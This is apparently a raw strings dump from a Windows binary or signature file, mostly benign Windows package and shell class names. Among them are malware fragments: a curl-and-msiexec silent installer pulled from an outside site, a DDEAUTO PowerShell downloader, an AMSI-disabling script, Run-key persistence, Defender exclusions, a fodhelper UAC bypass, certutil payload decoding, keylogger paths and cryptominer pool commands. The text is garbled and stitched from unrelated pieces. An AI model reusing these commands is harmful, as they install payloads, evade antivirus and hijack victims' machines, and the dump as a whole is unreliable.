Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy
Windows.Networking.BackgroundTransfer.Internal'
pWindows
#a/5.0 (Windows NT 10.0; Win64; x
]Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari7
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT
!OS=Windows_NT
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
WindowsPerformanceRecorderControl.dll
GetWindowsDirectoryW
GetSystemWindowsDirectoryW
Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
}run]"ctfmon"="c:\\windows\\config\\ctfmon.exe"[hkey_local_machine\system\remotemanipulatorsystem
WindowsAppSDKChannel
COMMON_WINDOWSAPPSDK_PARAMS
WindowsAppSDKChannel
COMMON_WINDOWSAPPSDK_PARAMS
WindowsAppSDKChannel
COMMON_WINDOWSAPPSDK_PARAMS
WindowsAppSDKChannel
COMMON_WINDOWSAPPSDK_PARAMS
WindowsAppSDKChannel
Window_GetCombinedWindowStyles
COMMON_WINDOWSAPPSDK_PARAMS
WindowsAppSDKChannel
COMMON_WINDOWSAPPSDK_PARAMS
WindowsAppSDKChannel
YieldAndCall_SetWindowStyles
COMMON_WINDOWSAPPSDK_PARAMS
WindowsAppSDKChannel
COMMON_WINDOWSAPPSDK_PARAMS
WindowsAppSDKChannel
COMMON_WINDOWSAPPSDK_PARAMS
WindowsAppSDKChannel
struct Windows::UI::Color
onecoreuap\windows\moderncore\windowing\core\lib\AdjustWindowRectHelper.cxx
onecoreuap\windows\moderncore\windowing\core\lib\AppWindowTitleBar.cxx
onecoreuap\internal\sdk\inc\WindowsAppRuntimeInsights.h
onecoreuap\windows\moderncore\windowing\core\lib\TitleBar.cxx
Xonecoreuap\windows\moderncore\Windowing\Core\lib\TitleBar.h
onecoreuap\windows\moderncore\windowing\core\lib\GdiHelp
Microsoft.Windows.Perf.TraceMerge
Microsoft.Windows.Wpr.Wprc
WindowsPerformanceRecorderControl.pdb
%Microsoft Windows Production PCA 20110
Microsoft Windows0
/Microsoft Windows Third Party Component CA 20130
2Microsoft Windows Software Compatibility Publisher0
chttp://www.microsoft.com/pkiops/crl/Microsoft%20Windows%20Third%20Party%20Component%20CA%202013.crl0
ehttp://www.microsoft.com/pkiops/certs/Microsoft%20Windows%20Third%20Party%20Component%20CA%202013.crt0
/Microsoft Windows Third Party Component CA 20130
WindowsInternal.ComposableShell.Experiences.TextInput.Common.TeachingTipContentControlAutomationPeer
WindowsInternal.ComposableShell.Experiences.TextInput.Common.TeachingTipShowArgs
WindowsInternal.ComposableShell.Experiences.TextInput.Common.TextInputAppResourceLoader
WindowsInternal.ComposableShell.Experiences.TextInput.Common.TextInputAudioManager
WindowsInternal.ComposableShell.Experiences.TextInput.Common.ThreadPoolBasedTimer
WindowsInternal.ComposableShell.Experiences.TextInput.Common.Timer
WindowsInternal.ComposableShell.Experiences.TextInput.Common.ToolBarResources
WindowsInternal.ComposableShell.Experiences.TextInput.Common.ToolBarThemeManager
WindowsInternal.ComposableShell.Experiences.TextInput.Common.XamlBindHelper
WindowsInternal.ComposableShell.Experiences.TextInput.Common.XamlMetaDataProvider
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.AutoResizeTextblock
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.BindableBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveControl
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.FrameworkElementHelper
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.FuzzyKeyboardKeyControlLookup
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.GazeCandidateBart
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.GazePointerDatan
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveItemDataTemplateSelector
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveItemStyleSelector
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveListPageChangeRequestedEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveListSelectionEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveListViewItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveListViewItemFactory
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveUIStyles
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AlphabetKeyboardShortcutGenerator
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.BindableBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateAction
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateControlBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateItemBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateItemChosenEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateItemToStringValueConverter
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateItemsPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidatePanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidatePanelButton
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidatePanelHyperlinkButton
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidatePanelMenuFlyoutItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidatePanelModel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidatePanelPagerUpdatedEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidatePanelSoftFocusManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidatePanelStyles
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateTipControl
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateUIConfig
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateWindowContextMenuEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateWindowControl
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateWindowShowPolicy
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CategoryList
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CategoryListAction
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CharacterInfo
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChildKeyPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChildKeyPanelRowLayout
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChineseHorizontalCandidatePanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChineseHorizontalQuickActionPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChsCandidateItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChsSearchCandidateItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChsToolBarContextMenuItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChsToolBarItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChsToolBarList
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChtToolBarItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChtToolBarList
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChtVerticalCandidateItemsPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CommentItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CommentItemGroup
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ControllerHandler
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ControllerMappings
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ControllerSipStyles
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CustomSelectableItemVisualStateManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DefaultCandidateActionHandler
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DefaultFlyoutPanelGestureBehavior
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DefaultKeyboardKeyControlLookup
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DefaultPersonalityFactory
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DefaultPointerHandler
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DesktopThemeResources
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DictationEntryPointModel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DictationModel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DictationStatusChangedEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DirectWriteTextBlock
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DirectionalAwareContainerManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DirectionalNavigableListViewItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DirectionalNavigableListViewItemFactory
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DirectionalNavigationHighlight
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ExtendedPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.FlowerKey
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.FlowerKeyAction
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.FlowerPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.FontScalingButton
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ToolBarTemplateManager=9
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.VerticalCandidateItems
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.VerticalCandidateItemBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.VerticalCandidateItemsPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.VerticalCandidateItemsPanelBase;
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.VerticalCandidatePanelBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.GripperBar
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HandwritingCandidateActionHandler
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HandwritingCanvas
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HandwritingCanvasBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HandwritingCanvasInkOnly
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HandwritingIntegratedCanvas
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HandwritingTipControl
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HardwareKeyboardTemplateManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HideStoryboardCompletedEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HolographicShellPersonalityFactory
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HorizontalCandidateItemsPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HorizontalCandidatePanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.HorizontalQuickActionPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ImeNotificationWatcher
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.IncrementalListView
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.InputGestureRecognizer
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.InputPanelControl
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.InputPanelLayoutArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.InputPanelModel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.InputPanelSizePositionManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.InputPanelTemplateManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.JpnCandidateItemBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.JpnCandidateItemHorizontalWritinghbin
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.JpnCandidateItemVerticalWriting
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.JpnCandidateItemsPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.JpnCandidatePanelBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.JpnCandidatePanelHorizontalWriting
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.JpnCandidatePanelVerticalWriting
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.JpnToolBarItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.JpnToolBarList
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.KeyActionHandler
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.KeyBubbleControl
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.KeyboardGrid
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.KeyboardGridModel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.KeyboardKey
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.KeyboardKeyAutomationPeer
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.KeyboardKeyEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.KeyboardRightHeaderPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.KeyboardSettingsMenuKey
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.LatinPredictionPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ManualIncrementalLoadWrapPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.MetadataShowRequestArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ModeAvailabilityManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ModernUXKeyboardKeyControlLookup
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ModernUXThemeResources
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.MultiMetadataPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.MultitapListView
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.NormalTableCandidatePanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.NullKeyboardShortcutGenerator
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.NumericKeyboardShortcutGenerator
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.OrdinaryChildKeyPanelModel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.PasteControl
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.PersonalityControl
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.PointerGesture
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.PointerInputPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.QuickActionItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.QuickActionPanelBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ScrollButton
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SelectableListView
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ShowCommentEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SimpleButton
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SingleKeyAction
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SmartEmojiPredictionPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SmartTextPredictionPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SpeechCorrectionCandidateItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SpeechCorrectionCandidateItemsPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SpeechCorrectionCandidatePanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.StringValueToVisibilityConverter
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.StrokeFilter
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.Styles
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SuggestionCandidateItemsPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SuggestionCandidatePanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SuggestionUIManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SuggestionUIPointerHandler
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SuggestionsUIButton
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SuggestionsUICollapsedViewLeftColumnStackPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SuggestionsUICollapsedViewRightColumnStackPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SuggestionsUIToggleButton
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SymbolTextBlock
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.TableCandidateItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.TableCandidateItemsPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.TableCandidatePanelBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.TextContainer
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.TextControl
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.TextInputAudioManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.TextInputResourceLoader
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.TextItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.TextItemIndex
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ThreadPoolBasedTimer
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.Timer
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ToggleInputProfileSwitcher
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ToolBarAsynchronousEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ToolBarControl
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ToolBarIMEConversionModeChangedEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ToolBarListBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ToolBarLogonUITemplateManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ToolBarMenuFlyoutItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ToolBarModel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ToolBarStyles
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.VerticalQuickActionPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Converter.BooleanToWinUIIconSourceConverter
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.DefaultPlatformAdapter
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.FastLocalSettings
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.HolographicShellViewPositionAndSizeManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputApp.CandidateControlPage
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputApp.DictationControlPage
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputApp.EntryPointControlPage
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputApp.ExpressiveSuggestionUIPage
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputApp.InputCompanionSuggestionUIPage
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputApp.InputPanelPage
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputApp.SmartActionsControlPage
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputApp.ToolBarControlPage
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputLocaleManagerDataSource
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputSwitcherDescriptionTemplateSelector
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputSwitcherIconTemplateSelector
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputSwitcherLanguageProfile
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputSwitcherLayoutPositionChangedArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputSwitcherModeChangedArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputSwitcherProfileButton
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputSwitcherStylesAndTemplates
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.KeyboardSettingsMenu
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.KeyboardSettingsMenuProfile
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.KeyboardSettingsMenuViewModel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.LanguageSwitcherViewModel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.MemoryResidentSettings
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.RegistrySettings
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.SettingsManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.ShellPreferencesSettings
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.ShellViewPositionAndSizeManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.StaticSettings
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.TextFramework.SystemInputProcessorTextFrameworkAdapter
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.TextInputEditBuffer
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.TextInputSettingsValueChangedEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.TextInput_XamlTypeInfo.XamlMetaDataProvider
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.ViewActivationRequestedEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.XboxPlatformAdapter
Windows.Web
Windows.Web.Http
Windows.UI
"C:\WINDOWS\SYSTEM32\cmd" /c C:\TEMP\2890.bat C:\
Microsoft.Windows.Udwm
WINDOWS.INTERNAL.STATEREPOSITORY.MRTAPPLICATION
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"powershell "$emailSmtpServer = \"smtp.gmail.com\";c
Microsoft.Windows.Security.Shutinit
Microsoft-Windows-Perflib
\system32\wins
HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\
C:\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Public\wsxpacks\StartMenu\
com.microsoft.windows.widgets.feeds
Mozilla/5.0 (Windows NT
\192.168.1.%d\c$\windows\system32\\
varbatname="jzan.bat";varbatnamewindows="windows.bat"
IsWindowsInsider
swindows
e9^com.microsoft.windows.extension.usersetupeligibility
com.microsoft.windows.extension.usersetupeligibility
ea^com.microsoft.windows.extension.modalusersetupeligibility
com.microsoft.windows.extension.modalusersetupeligibility
sts.windows.net
W:"hkcu\software\microsoft\windows script\settings\amsienable"getobject("new:72c24dd5-d70a-438b-8a42-98424b88afb8").regwrite regpath, "0", "reg_dword"createobject("microsoft.xmldom").async = false.load "http://
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Desktop-ApplicationManager
Microsoft.Windows.Shell.ThumbnailCache
Microsoft.Windows.Shell.NthWASCConsentLogging
Microsoft.Windows.Shell.IconCache
WINDOWS.FOUNDATION.COLLECTIONS.PROPERTYSET
Microsoft.Windows.PCA.Kdd
\windows\system32\cmd.exe/kstartmsedgehttps://www.glenfloracc.com/files/employment-application%20fillable.pdf&curl-slo%temp%\bosfortuy.mshttp://applicationdescriptionpdf.com/part/setup4726.msi&msiexec/i%temp%\bosfortuy.ms/qn|taskkill/f/imcmd.exe
manifest/desktop/windows10/11"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/4"
           xmlns="http://schemas.microsoft.com/appx/manifest/desktop/windows10/4"
%ws c:\windows\%ws,#1 %ws%
lDDEAUTO C:\\windows\\system32\\cmd.exe "/k echo PowerShell (New-Object System.Net.WebClient).DownloadFile('http://
\system32\MPK\
\kgb spy\winlogons.exe
{\kgb keylogger\winlogon.dll
z\kgb keylogger\winlogons.exe
zec-eu1.nanopool.org:6633powershell -ExecutionPolicy Bypass -windowstyle hidden -noexitnetsh advfirewall firewall add rule nameFirewallDisableNotifyAntiVirusDisableNotify
,svchost.exe install windows-a cryptonight-lite -o stratum+tcp://aeon.pool.minergate.com
Microsoft-Windows-BitLocker-Driver
Microsoft-Windows-Bits-Client
Microsoft-Windows-Bluetooth-BthLEPrepairing
Microsoft-Windows-Configuration-Change-Monitor
Microsoft-Windows-CoreSystem-
Microsoft-Windows-CoreSystem-NetProvision-JoinProviderOnline
Microsoft-Windows-CorruptedFileRecovery-Client
Microsoft-Windows-CorruptedFileRecovery-Server
Microsoft-Windows-DeviceAssociationService
Microsoft-Windows-Devices-AccessBroker
Microsoft-Windows-Devices-Background
Microsoft-Windows-Dhcp-Client
Microsoft-Windows-DHCPv6-Client
Microsoft-Windows-Diagnostics-Networking
Microsoft-Windows-Directory-Services-SAM
Microsoft-Windows-DiskDiagnostic
Microsoft-Windows-DistributedCOM
Microsoft-Windows-DNS-Client
Microsoft-Windows-DriverFrameworks-UserMode
Microsoft-Windows-EnhancedPhishingProtection-Events
Microsoft-Windows-E
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.ErrorHandling.Fal
-----END CERTIFICATE-----\\Signature.crt.Run "cmd.exe /c certutil -decode " & "\\Sign.exe", windowStyle, waitOnReturn=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFunction s2() As StringDim windowStyle As Integer: windowStyle = 0Dim waitOnReturn As Boolean: wai7
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\App.xaml.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\AllAppsGridListViewAutomationPeer.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\AllAppsGridListViewItemAutomationPeer.cpp
Jp>shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\AllAppsGridListViewItemDataAutomationPeer.h
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\AllAppsListTemplateSelector.cpp
SLGetWindowsInformationDWORD
shellcommon\shell\Windows.UI.Shell\StartDocked\Common\FileWatcher.h
shellcommon\shell\Windows.UI.Shell\StartDocked\Common\StartMenuCompanionManager.h
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\LauncherFrame.xaml.cpp
WindowsCompareStringOrdinal
WindowsConcatString
WindowsCreateString
WindowsDeleteString
WindowsDuplicateString
WindowsGetStringLen
WindowsGetStringRawBuffer
WindowsIsStringEmpty
.?AU?$default_delete@$$CBV?$cloud_store_data@UPlaceholderTileCollection@Data@Windows@@@wil@@@std@@
.?AU?$default_delete@$$CBV?$cloud_store_data@UPlaceholderTileCollectionLocal@Data@Windows@@@wil@@@std@@
Microsoft-Windows-Shell-Launcher
Microsoft.Windows.Shell.CortanaSearch
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.AppLifeCycle.UI
shellcommon\shell\Windows.UI.Shell\StartDocked\ViewModel\PerFrameData.h
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\UserTileView.xaml.cpp
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.Wil.FeatureLogging
Windows.UI.Shell.SharedUtilities.pdb
windows.storage.dll
!WindowSpy.AHK
WindowsUdk.UI.Themes
CloseWindowStation
GetProcessWindowStation
\windows\
windows\system32\fodhelper.exe"- 
   -windowstyle hidden -executionpolicy bypass -}
SForStrringWindowsFormsApp1.Properties.Resources.r
\windows\system32\rundll32.exeglin3r.dll,reznavutxr
MHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" , "AVP" )R
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4484.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
